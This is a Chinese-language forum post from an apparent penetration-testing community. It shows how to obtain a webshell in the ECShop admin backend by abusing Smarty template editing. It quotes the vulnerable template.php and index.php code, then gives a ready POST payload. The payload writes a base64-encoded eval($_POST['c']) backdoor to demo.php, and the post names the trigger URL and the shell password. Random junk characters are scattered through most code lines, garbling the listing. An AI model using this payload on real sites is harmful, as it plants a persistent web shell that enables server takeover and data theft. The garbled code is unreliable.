中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板+ y( h7 g, T" s3 _

, L' Y0 F: {" A* p& J而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了- c# ^, b: N: f  ?
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码$ C5 c1 j  |" ?9 {$ Z
admin/template.php  I% |9 J$ T* }" ?$ C7 ^% w

: x0 V' E; P# [9 u1 if ($_REQUEST['act'] == 'update_library')
- m9 u0 h2 V. Q' ?5 W. O" p# Y- [
2   2 i3 e4 A) Q" y5 Y9 h9 J

) j9 v2 {$ E7 E( E3 g3 {
( k. L9 M/ U. p, G4 `' \8 \: F5 k- W1 @4 K/ T
4     check_authz_json('library_manage');
$ d6 f7 n3 [" K. ?6 T# u
+ F7 [7 U0 I- g5 w5   
6 t  S) E# p( W
8 K5 I# ~. k6 o+ w: T7 ^* o6     $html = stripslashes(json_str_iconv($_POST['html']));
: ?8 p, L5 K9 P' x7 h) @* w( K& X$ a6 o, d7 ~: l
7   : `: Z: ^- G& ~

4 b: w  U2 |2 m- A$ p+ x9 l1 ~8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
* \3 N$ j+ o0 D
, A! ?2 @/ m. I/ c% ]0 C* j4 Q) P9   
1 x0 u. f+ G  g. [: }
) o' }' ~1 p/ Z  r6 c10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. C- T/ z. D/ K: D) i% I* i; O9 `* z: Y
11   $ @# S$ ?! p! k6 V" t  J' J. O
& p4 [* ~5 Y2 E3 y
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
  T+ d& {+ s( X" ?4 k% x& v0 z) g
4 h+ a6 v" @' w) y( s13   * S# \0 M% u* l. h% s% m+ ^, z
& n* Y7 n+ ^: \0 c+ m
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 - M4 [* O& Y4 `$ v$ Z
- K" q1 i. o, d" }$ t6 M: z
15     {
/ F; A: z- i$ ?) l
( N9 B% {& |& n/ ^) W; p' ^16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
! _) a5 X5 S" f9 q1 }+ S: X
. a/ m2 K# q* |3 ]( w17         make_json_result('', $_LANG['update_lib_success']); * J/ V# T$ |' e* A' I

+ P1 D6 N5 k+ O; ?8 Q/ {9 _18     }
" @- R( U% O0 Q" [8 F' a' \* c: V5 @
19     else # ]1 b0 ~! |( @; J- Y) {- |2 @
* k2 i1 G4 l/ e
20     { : |$ m9 q5 w; Z

" P1 S$ G. _% I* Z1 o7 |* i: Y21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ p0 N; P2 e/ ]: B5 T+ e
3 F: O9 s6 b+ H* X, \2 r1 Q: i22     } 8 P& }5 o; k3 A% \! C3 L& O4 \
4 _4 k  k0 v/ a4 D' _' U  K2 G
23 }
* J9 Z* e- f3 V  U" ?. \0 f
+ \( @: [, C5 w3 A% ]那么找个比较方便调用了模板的文件
; q  S3 t) c2 e+ jindex.php
" {9 }4 M$ M9 L2 H/ [" i$ A& ?* M- O
8 E) |# ], [1 W7 h5 a1 if ($act == 'cat_rec')
$ P/ ~6 ?. s# N! x+ p
/ R4 n$ q0 ]' B3 G" B4 X! U  H2   1 f  j$ ~( A# H7 S3 ?( f! K8 Y

9 M9 n4 ?. L6 [: P0 e: O3 { 9 f: V0 X" k/ w
/ F5 Y0 ~7 a* F, n9 s! O
4   
9 k2 n% l! f' R0 {1 ~- [7 X4 r" @6 t/ Z, l5 h: \; k$ y9 n6 R
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); $ w9 D$ w- X; m) J
6 k* U3 m7 z/ k$ `  F, G
6   " U; g, H3 L0 D" P1 x+ |3 k2 c. Y
( C4 t! w) v8 O* e% j
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
3 F2 U5 J7 J4 s4 n. {3 ~, D$ v9 O. G7 ~" e
8   - b6 e3 q- J: Y0 W- s; s, X1 w1 M- y+ ^
) H2 M' b" h6 q+ O; ?' a7 P( T
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
: v8 m" a: `4 B0 T1 R, D" Z" {" i9 N
. j* p8 T! O( e- C% ?) _10   
! R( H- h: r) Z6 c+ z; s) y& k  t3 B, X
11     include_once('includes/cls_json.php');
' U( T0 h% ^/ j0 `$ n
. u. u! d" l2 D12   , p1 U, l" N5 L  d

# F) w0 z# q) e/ c4 z3 Z13     $json = new JSON; / F- D' m$ m: F7 h- h7 k$ z

) f3 Z) y- T0 y& u14   9 @) S  e( ~: _) p0 u$ F6 j
0 ?  J. w% T  W* R' Q* [" W" t
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
) F( r: r$ F: }( s: I8 P* [0 c2 \3 C& J* [5 K3 Y
16   
# |# r0 [! {/ O0 C2 a3 L. [( J9 {+ F: g
17     $children = get_children($cat_id);
8 @5 p' u1 v  D5 E, v6 r# H$ N; ~6 j5 s: b7 q! B% k/ w0 t/ }% a
18   " Y$ F$ F% {7 P. ~( |
* l% `- f; U8 X% n7 j% n
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 0 k3 R0 C6 Z/ _$ [
& a' b; i% [% |) \: i. t/ z% G
20   
7 h2 J$ P8 f* `0 n9 k! T, c. C+ W" `7 U( k! r; N" L
21     $smarty->assign('cat_rec_sign', 1);
* ]* ^5 Y# E' b' j. C) X4 S2 k
8 q% `4 H  p: I7 s* n22   
. s  }6 _) q2 U  t1 `) U
5 c- r+ J1 _# A$ s" M23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best $ m' u8 Z7 T& H* J" I

; r; \5 S% t; N/ ^24   % j) t* [, o' v' _0 ]

4 T9 x& c9 B" h25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
$ B# ^, R% a+ b" p- W, J4 p: c& m0 V3 F) e+ J
26   # c/ e9 |' k, x  m
' u7 Z7 B2 K6 ^1 r5 ~+ |. [
27         echo $rec_array[$rec_type]; 6 H& V( d' v7 e; w. }+ M4 E

4 w# y8 W/ U- J; g5 p  T* |28   
; ^$ e# W; Z: o  b' W, o- j2 k- w5 ^5 w6 T/ m# t, @. q4 g
29     die($json->encode($result)); & b8 w+ {( V3 W* W( A4 B2 S5 S3 a
" _3 \! R+ C3 a0 J5 Z% [+ {( {
30   + Y# @/ I6 e% f$ W0 Z# V6 I0 i

! t5 W) {) a/ X. l8 u, @: [: o  v5 ~/ [31 }
+ I* J% E) i& H) O+ k. p' H! @3 K5 K1 ^$ n. y. Q& \' a! Z% G, \
那么就有利用方法了
) N9 @3 ]7 V' \) L$ ]( kpost包到http://localhost/ec/admin/template.php?act=update_library# T5 L0 }* s$ s3 b% A
Post内容:( \) a( R) b/ _
! {4 ~( w4 ]  {9 U/ T2 E6 ~& k

3 A  ?* v8 Y9 `3 p: l3 K1 B& n) ?; \1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 0 Z6 n% C% `1 {

1 B& n( f3 i8 Q; M6 _然后访问http://localhost/ec/index.php?act=cat_rec
. i) a7 x. V) g. J' l$ {
3 T7 {9 t) l- ~9 N4 b; Q- Mshel地址:http://localhost/ec/demo.php
3 A! I+ I2 K: W密码c
2 ?$ h: ]/ V, E
& A% A; E$ W# k




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2